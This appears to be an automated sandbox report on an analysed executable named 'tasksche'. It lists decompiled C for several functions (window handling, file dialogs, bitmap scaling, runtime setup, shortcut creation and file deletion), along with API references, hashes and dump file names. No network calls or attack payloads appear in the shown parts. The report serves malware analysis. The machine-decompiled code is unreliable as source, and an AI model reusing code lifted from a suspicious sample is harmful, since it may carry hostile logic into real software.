MapWindowPoints.USER32 ref: 00419AF0
DestroyWindow.USER32(?), ref: 00419AFE
GetParent.USER32(?), ref: 00419B1C
CreateWindowExW.USER32 ref: 00419B3B
ShowWindow.USER32(?,00000005,?), ref: 00419B6D
SetWindowTextW.USER32(?,00000000), ref: 00419B77
ShowWindow.USER32(00000000,00000005), ref: 00419B8D
UpdateWindow.USER32(?), ref: 00419B96

Strings

RarHtmlClassName, xrefs: 00419B35

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$Parent$ClassCreateCursorDestroyLoadPointsRectRegisterTextUpdate
String ID: RarHtmlClassName
API String ID: 3841971108-1658105358
Opcode ID: 6c641d0ff31dc14dd7b3caf662548c90144b8a356fed134c41ac5bc1dd73445d
Instruction ID: a0655035169e6554100d25c4e6de203faa719369231219c5c88fda93c074337e
Opcode Fuzzy Hash: 6c641d0ff31dc14dd7b3caf662548c90144b8a356fed134c41ac5bc1dd73445d
Instruction Fuzzy Hash: 0331B035600604EFCB319F65EC48EAFBBB9FF44700F10451AF91692260D735AD51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405164 Relevance: 21.1, APIs: 14, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00405164(void* __ecx, intOrPtr _a4, intOrPtr _a8, short* _a12, intOrPtr _a16, char _a20) {
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v60;
				short* _v64;
				char* _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				char _v1116;
				void* __edi;
				signed int _t40;
				intOrPtr _t44;
				signed int _t48;
				signed int _t57;
				void* _t61;
				signed int _t62;
				void* _t64;
				char _t65;
				short* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t76;

				_t63 =  &_v1116;
				if(_a16 != 0) {
					E0041A7F7( &_v1116, _a16);
					_t67 = _t68 + E0041A7AF( &_v1116) * 2 - 0x456;
					E0041A7F7(_t67, _a16);
					_t57 = E0041A7AF(_t67);
					_t69 = _t69 + 0x18;
					_t63 = _t67 + 2 + _t57 * 2;
				}
				E0041A7F7(_t63, E0040C3BF(0xa2));
				_t64 = _t63 + 2 + E0041A7AF(_t63) * 2;
				E0041A7F7(_t64, 0x42a570);
				_t40 = E0041A7AF(_t64);
				 *((short*)(_t64 + 2 + _t40 * 2)) = 0;
				_t65 = 0x58;
				E0041A820(_t61,  &_v92, 0, _t65);
				_v88 = _a4;
				_t44 =  *0x4335a8; // 0x400000
				_v84 = _t44;
				_v80 =  &_v1116;
				_v92 = _t65;
				_t66 = _a12;
				_v44 = _a8;
				_v64 = _t66;
				_v60 = 0x800;
				_v40 = 0x1080c;
				_push( &_v92);
				if(_a20 == 0) {
					_t48 = GetOpenFileNameW();
				} else {
					_t48 = GetSaveFileNameW();
				}
				_t62 = _t48;
				if(_t62 == 0) {
					_t48 = CommDlgExtendedError();
					if(_t48 == 0x3002) {
						 *_t66 = 0;
						_push( &_v92);
						if(_a20 == 0) {
							_t48 = GetOpenFileNameW();
						} else {
							_t48 = GetSaveFileNameW();
						}
						_t62 = _t48;
					}
					_t76 = _t62;
				}
				return _t48 & 0xffffff00 | _t76 != 0x00000000;
			}

0x00405174
0x0040517a
0x00405182
0x00405192
0x0040519a
0x004051a0
0x004051a5
0x004051a8
0x004051a8
0x004051b8
0x004051c3
0x004051cd
0x004051d3
0x004051dc
0x004051e1
0x004051e8
0x004051f6
0x004051f9
0x004051fe
0x00405207
0x00405214
0x00405217
0x0040521a
0x00405220
0x00405223
0x0040522a
0x00405231
0x00405232
0x0040523c
0x00405234
0x00405234
0x00405234
0x0040523e
0x00405242
0x00405244
0x0040524f
0x00405257
0x0040525d
0x0040525e
0x00405268
0x00405260
0x00405260
0x00405260
0x0040526a
0x0040526a
0x0040526c
0x0040526c
0x00405275

APIs

_wcscpy.LIBCMT ref: 00405182
_wcslen.LIBCMT ref: 0040518A
_wcscpy.LIBCMT ref: 0040519A
_wcslen.LIBCMT ref: 004051A0
_wcscpy.LIBCMT ref: 004051B8
_wcslen.LIBCMT ref: 004051BE
_wcscpy.LIBCMT ref: 004051CD
_wcslen.LIBCMT ref: 004051D3
_memset.LIBCMT ref: 004051E8
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405234
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 0040523C
CommDlgExtendedError.COMDLG32(?,?,?,?,?,000000A2), ref: 00405244
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405260
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405268

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileName_wcscpy_wcslen$OpenSave$CommErrorExtended_memset
String ID:
API String ID: 3496903968-0
Opcode ID: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction ID: 017447a648ceccb586da1f31f92202068c03838f3088d87860c47b682a039f1a
Opcode Fuzzy Hash: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction Fuzzy Hash: D531D775901618ABCB11AFA5DC45ACF7BB8EF04314F00002AF904B7281DB38DA958FAE

Uniqueness

Uniqueness Score: -1.00%

Function 00419D0B Relevance: 19.6, APIs: 13, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00419D0B(void* _a4, signed int _a8, int _a12) {
				struct HDC__* _v8;
				struct HDC__* _v12;
				struct HBITMAP__* _v16;
				void* _v20;
				signed int _v36;
				signed int _v40;
				void _v44;
				struct HDC__* _t36;
				signed int _t43;
				struct HDC__* _t54;

				_t36 = GetDC(0);
				_v12 = _t36;
				_t54 = CreateCompatibleDC(_t36);
				_v8 = CreateCompatibleDC(_v12);
				GetObjectW(_a4, 0x18,  &_v44);
				asm("cdq");
				_t43 = _v36 * _a8 / _v40;
				if(_t43 < _a12) {
					_a12 = _t43;
				}
				_v16 = CreateCompatibleBitmap(_v12, _a8, _a12);
				_a4 = SelectObject(_t54, _a4);
				_v20 = SelectObject(_v8, _v16);
				StretchBlt(_v8, 0, 0, _a8, _a12, _t54, 0, 0, _v40, _v36, 0xcc0020);
				SelectObject(_t54, _a4);
				SelectObject(_v8, _v20);
				DeleteDC(_t54);
				DeleteDC(_v8);
				ReleaseDC(0, _v12);
				return _v16;
			}

0x00419d17
0x00419d24
0x00419d2c
0x00419d30
0x00419d3c
0x00419d49
0x00419d4a
0x00419d50
0x00419d52
0x00419d52
0x00419d6e
0x00419d76
0x00419d86
0x00419d9a
0x00419da4
0x00419dac
0x00419db5
0x00419dba
0x00419dc0
0x00419dcd

APIs

GetDC.USER32(00000000), ref: 00419D17
CreateCompatibleDC.GDI32(00000000), ref: 00419D27
CreateCompatibleDC.GDI32(?), ref: 00419D2E
GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
SelectObject.GDI32(00000000,?), ref: 00419D71
SelectObject.GDI32(?,00000200), ref: 00419D7C
StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
SelectObject.GDI32(00000000,?), ref: 00419DA4
SelectObject.GDI32(?,00419EBD), ref: 00419DAC
DeleteDC.GDI32(00000000), ref: 00419DB5
DeleteDC.GDI32(?), ref: 00419DBA
ReleaseDC.USER32 ref: 00419DC0

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$Delete$BitmapReleaseStretch
String ID:
API String ID: 3950507155-0
Opcode ID: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction ID: fe64683af8def945f8560e9c967618457674570685148338231d72a037962566
Opcode Fuzzy Hash: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction Fuzzy Hash: C021A076900218FFCF129FA1DC48DDEBFBAFB48350B104466F914A2120C7369A65EFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E854 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E0041E854(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x42d8a0);
				E0041FA9C(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E00421465(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x42ba00;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x430880;
				E0041EFA3(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E0041E929();
				E0041EFA3(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E004221AD( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E0041FAE1(E0041E932());
			}

0x0041e854
0x0041e854
0x0041e856
0x0041e85b
0x0041e860
0x0041e866
0x0041e86e
0x0041e871
0x0041e876
0x0041e877
0x0041e87a
0x0041e87d
0x0041e887
0x0041e88c
0x0041e894
0x0041e89c
0x0041e8ac
0x0041e8ac
0x0041e8b2
0x0041e8b5
0x0041e8bc
0x0041e8c3
0x0041e8cc
0x0041e8d2
0x0041e8d9
0x0041e8df
0x0041e8e6
0x0041e8ed
0x0041e8f3
0x0041e8f6
0x0041e8f9
0x0041e8fe
0x0041e900
0x0041e905
0x0041e905
0x0041e90b
0x0041e911
0x0041e922

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0042D8A0,0000000C,0041E98F,00000000,00000000,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 0041E866
__crt_waiting_on_module_handle.LIBCMT ref: 0041E871

Part of subcall function 00421465: Sleep.KERNEL32(000003E8,00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 00421471
Part of subcall function 00421465: GetModuleHandleW.KERNEL32(00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 0042147A

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0041E89A
GetProcAddress.KERNEL32(0041A9BA,DecodePointer), ref: 0041E8AA
__lock.LIBCMT ref: 0041E8CC
InterlockedIncrement.KERNEL32(?), ref: 0041E8D9
__lock.LIBCMT ref: 0041E8ED
___addlocaleref.LIBCMT ref: 0041E90B

Strings

EncodePointer, xrefs: 0041E88E
KERNEL32.DLL, xrefs: 0041E860, 0041E865, 0041E870
DecodePointer, xrefs: 0041E8A2

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction ID: 28857185edf288c115030afddfc21b3ad53991f12277c54fa87cb1ac16e0dfb5
Opcode Fuzzy Hash: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction Fuzzy Hash: 82119071A40701AFD720AF36D805B9EBBE0AF44314F60456FE8A997290CB78A981CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0C2 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040F0C2(void* __edi) {
				long __ebx;
				intOrPtr _t263;
				void* _t264;
				void* _t335;
				short* _t337;
				void* _t339;

				L0:
				while(1) {
					L0:
					if( *((intOrPtr*)(_t339 + 0x10)) != 6) {
						goto L160;
					} else {
						__eax = 0;
						 *(__ebp - 0x2440) = __ax;
						__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
						__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
						_push(__ebx);
						__eflags = __eax - 0x50;
						if(__eax == 0x50) {
							_push(0x43f822);
							__eax = __ebp - 0x2440;
							_push(__ebp - 0x2440);
							__eax = E00410B9C();
							 *(__ebp - 0x18) = 2;
						} else {
							__eflags = __eax - 0x54;
							__eax = __ebp - 0x2440;
							if(__eflags == 0) {
								_push(0x43e822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 7;
							} else {
								_push(0x440822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 0x10;
							}
						}
						__eax = 0;
						 *(__ebp - 0xbc90) = __ax;
						 *(__ebp - 0x4c40) = __ax;
						__ebp - 0x19c90 = __ebp - 0x6c88;
						__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
						__eflags =  *(__ebp - 0x6c88) - 0x22;
						_pop(__ecx);
						_pop(__ecx);
						if( *(__ebp - 0x6c88) != 0x22) {
							__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
							__eflags = __al;
							if(__al != 0) {
								goto L145;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
							__eflags =  *(__ebp - 0x6c88);
							__edi = __ebp - 0x6c88;
							if( *(__ebp - 0x6c88) == 0) {
								goto L145;
							} else {
								goto L133;
							}
							do {
								L133:
								__eax = __edi->i & 0x0000ffff;
								__eflags = __ax - 0x20;
								if(__ax == 0x20) {
									L135:
									__esi = __ax & 0x0000ffff;
									__eax = 0;
									__edi->i = __ax;
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al == 0) {
										__edi->i = __si;
										goto L142;
									}
									 *(__ebp - 0x10) = __edi;
									__eflags = __si - 0x2f;
									if(__si != 0x2f) {
										do {
											__edi =  &(__edi->i);
											__edi =  &(__edi->i);
											__eflags = __edi->i - 0x20;
										} while (__edi->i == 0x20);
										_push(__edi);
										__eax = __ebp - 0x4c40;
										L140:
										E0041A7F7() =  *(__ebp - 0x10);
										__ecx = __eax;
										_pop(__ecx);
										 *( *(__ebp - 0x10)) = __si;
										goto L142;
									}
									__eax = 0x2f;
									 *(__ebp - 0x4c40) = __ax;
									__eax =  &(__edi->i);
									_push( &(__edi->i));
									__eax = __ebp - 0x4c3e;
									goto L140;
								}
								__eflags = __ax - 0x2f;
								if(__ax != 0x2f) {
									goto L142;
								}
								goto L135;
								L142:
								__edi =  &(__edi->i);
								__edi =  &(__edi->i);
								__eflags = __edi->i;
							} while (__edi->i != 0);
							__eflags =  *(__ebp - 0x10);
							if( *(__ebp - 0x10) != 0) {
								__ecx =  *(__ebp - 0x10);
								__eax = 0;
								__eflags = 0;
								 *( *(__ebp - 0x10)) = __ax;
							}
							goto L145;
						} else {
							__ebp - 0x19c8e = __ebp - 0x6c88;
							E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
							__eax = E0041CA29(__ebp - 0x6c86, 0x22);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = 0;
								 *__eax = __cx;
								__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
								_pop(__ecx);
								_pop(__ecx);
							}
							L145:
							__esi = 0;
							__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
							if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
								__ebp - 0xbc90 = __ebp - 0x11c90;
								__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
							}
							__ebp - 0xcc90 = __ebp - 0x6c88;
							__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
							__eflags =  *(__ebp - 0x2440) - __si;
							if(__eflags == 0) {
								__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
							}
							__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
							if(__eflags != 0) {
								__ebp - 0x17c90 = __ebp - 0x2440;
								E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
								__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							}
							__ebp - 0x2440 = __ebp - 0xac90;
							__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
							_pop(__ecx);
							_pop(__ecx);
							__eax = __ebp - 0x13c90;
							__eflags =  *(__ebp - 0x13c90) - __si;
							if(__eflags == 0) {
								__eax = __ebp - 0x19c90;
							}
							__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
							__eax = __ebp - 0x2440;
							__eflags = E0040A76A(__ebp - 0x2440) - __esi;
							if(__eflags == 0) {
								L155:
								__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
								goto L156;
							} else {
								__eflags = __eax;
								if(__eflags == 0) {
									L156:
									__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
									__ebp - 0xcc90 = __ebp - 0x9c90;
									__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
									_pop(__ecx);
									_pop(__ecx);
									__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
									 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
									asm("sbb eax, eax");
									__ecx = __ebp - 0x4c40;
									__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
									 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
									asm("sbb ecx, ecx");
									__edx = __ebp - 0xbc90;
									__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
									 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
									asm("sbb edx, edx");
									__esi = __ebp - 0x15c90;
									__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
									 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
									asm("sbb esi, esi");
									__edi = __ebp - 0x9c90;
									__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
									__ebp - 0x2440 = __ebp - 0xcc90;
									__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
									__eflags =  *(__ebp - 0xac90);
									if( *(__ebp - 0xac90) != 0) {
										__eax = __ebp - 0xac90;
										SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
									}
									while(1) {
										L160:
										_t263 = E0040D781(_t339 - 0x11, _t339 - 0xec90, _t337,  *((intOrPtr*)(_t339 + 0xc)), _t339 - 0x4440, _t339 + 0xf, 0x1000);
										 *((intOrPtr*)(_t339 + 0xc)) = _t263;
										if(_t263 != 0) {
											_t335 = GetFileAttributesW;
											_t322 = _t339 - 0x1bc90;
											_t337 = 0x438818;
											_t264 = _t339 - 0x4440;
											 *(_t339 - 0x10) = _t339 - 0x1bc90;
											 *((intOrPtr*)(_t339 - 0x18)) = 6;
											goto L2;
										} else {
											break;
										}
										L4:
										while(E00411E60(_t339 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t339 - 0x10) * 4))) != 0) {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) + 1;
											if( *(_t339 - 0x10) < 0xe) {
												continue;
											} else {
												goto L160;
											}
										}
										__eflags =  *(_t339 - 0x10) - 0xd;
										if( *(_t339 - 0x10) > 0xd) {
											continue;
										}
										switch( *((intOrPtr*)( *(_t339 - 0x10) * 4 +  &M0040F443))) {
											case 0:
												__eflags =  *((intOrPtr*)(_t339 + 0x10)) - 2;
												if( *((intOrPtr*)(_t339 + 0x10)) != 2) {
													goto L160;
												}
												E00419C9B(_t339 - 0x8c90, _t319);
												E0040A146(_t339 - 0x8c90, _t339 - 0x4440, _t339 - 0xfc90, _t319);
												E00409433(_t339 - 0x7c90);
												 *(_t339 - 4) =  *(_t339 - 4) & 0x00000000;
												E0040945C(_t339 - 0x7c90, _t339 - 0xfc90);
												E004067E1(_t339 - 0x5c88);
												_push(0);
												_t280 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
												__eflags = _t280;
												if(_t280 == 0) {
													L25:
													 *(_t339 - 4) =  *(_t339 - 4) | 0xffffffff;
													E00409449(_t339 - 0x7c90);
													goto L160;
												} else {
													_t337 = L"%s.%d.tmp";
													do {
														SetFileAttributesW(_t339 - 0x5c88, 0);
														__eflags =  *((char*)(_t339 - 0x4c7c));
														if(__eflags == 0) {
															L17:
															_t285 = GetFileAttributesW(_t339 - 0x5c88);
															__eflags = _t285 - 0xffffffff;
															if(_t285 == 0xffffffff) {
																goto L24;
															}
															_t289 = DeleteFileW(_t339 - 0x5c88);
															__eflags = _t289;
															if(_t289 != 0) {
																goto L24;
															} else {
																 *(_t339 - 0x10) =  *(_t339 - 0x10) & _t289;
																_push(_t289);
																goto L21;
																L21:
																E0040BC16(_t339 - 0x1040, _t319, _t337, _t339 - 0x5c88);
																_t341 = _t341 + 0x14;
																_t294 = GetFileAttributesW(_t339 - 0x1040);
																__eflags = _t294 - 0xffffffff;
																if(_t294 != 0xffffffff) {
																	_t61 = _t339 - 0x10;
																	 *_t61 =  *(_t339 - 0x10) + 1;
																	__eflags =  *_t61;
																	_push( *(_t339 - 0x10));
																	goto L21;
																} else {
																	_t297 = MoveFileW(_t339 - 0x5c88, _t339 - 0x1040);
																	__eflags = _t297;
																	if(_t297 != 0) {
																		MoveFileExW(_t339 - 0x1040, 0, 4);
																	}
																	goto L24;
																}
															}
														}
														E0040AA7D(__eflags, _t339 - 0x8c90, _t339 - 0x1040, _t319);
														E0040A116(__eflags, _t339 - 0x1040, _t319);
														_t306 = E0041A7AF(_t339 - 0x8c90);
														 *((intOrPtr*)(_t339 - 0x18)) = _t306;
														__eflags = _t306 - 4;
														if(_t306 < 4) {
															L15:
															_t308 = E0040A0A4(_t339 - 0x4440);
															__eflags = _t308;
															if(_t308 != 0) {
																goto L25;
															}
															L16:
															_t310 = E0041A7AF(_t339 - 0x5c88);
															__eflags = 0;
															 *((short*)(_t339 + _t310 * 2 - 0x5c86)) = 0;
															E0041A820(_t335, _t339 - 0x40, 0, 0x1e);
															_t341 = _t341 + 0x10;
															_push(0x14);
															_pop(_t313);
															 *((short*)(_t339 - 0x30)) = _t313;
															 *((intOrPtr*)(_t339 - 0x38)) = _t339 - 0x5c88;
															 *((intOrPtr*)(_t339 - 0x3c)) = 3;
															SHFileOperationW(_t339 - 0x40);
															goto L17;
														}
														_t318 = E0041A7AF(_t339 - 0x1040);
														__eflags =  *((intOrPtr*)(_t339 - 0x18)) - _t318;
														if( *((intOrPtr*)(_t339 - 0x18)) > _t318) {
															goto L16;
														}
														goto L15;
														L24:
														_push(0);
														_t287 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
														__eflags = _t287;
													} while (_t287 != 0);
													goto L25;
												}
											case 1:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__eflags =  *((char*)(__ebp - 0x11));
													if(__eflags == 0) {
														__edi = __ebp + 0xc;
														__edi = E0040D92D(__ebp + 0xc, __eflags);
													} else {
														__edi = __ebp - 0x4440;
													}
													__eflags =  *((char*)(__ebp - 0x12));
													if( *((char*)(__ebp - 0x12)) == 0) {
														__esi = E0041A7AF( *0x441850);
													} else {
														__esi = 0;
													}
													__eax = E0041A7AF(__edi);
													__eax = __eax + __esi;
													_push(__eax);
													_push( *0x441850);
													__eax = E0041A594(__ebx, __edi, __esi, __eflags);
													__esp = __esp + 0xc;
													__eflags =  *((char*)(__ebp - 0x12));
													 *0x441850 = __eax;
													if( *((char*)(__ebp - 0x12)) != 0) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
													__eax = E0041A7C9(__eax, __edi);
													__eflags =  *((char*)(__ebp - 0x11));
													_pop(__ecx);
													_pop(__ecx);
													if(__eflags == 0) {
														_push(__edi);
														__eax = E0041A506(__ebx, __edi, __esi, __eflags);
														_pop(__ecx);
													}
												}
												goto L160;
											case 2:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
												}
												goto L160;
											case 3:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) != 0) {
													goto L160;
												}
												__eflags =  *0x44187a;
												if( *0x44187a != 0) {
													goto L160;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x4440) - 0x22;
												__edi = __ebp - 0x4440;
												 *(__ebp - 0x18) = __edi;
												 *(__ebp - 0x1040) = __ax;
												if( *(__ebp - 0x4440) == 0x22) {
													__edi = __ebp - 0x443e;
													 *(__ebp - 0x18) = __edi;
												}
												__eax = E0041A7AF(__edi);
												__eflags = __eax - __ebx;
												if(__eax >= __ebx) {
													goto L160;
												} else {
													__eax = __edi->i & 0x0000ffff;
													__eflags = __ax - 0x2e;
													if(__ax != 0x2e) {
														L50:
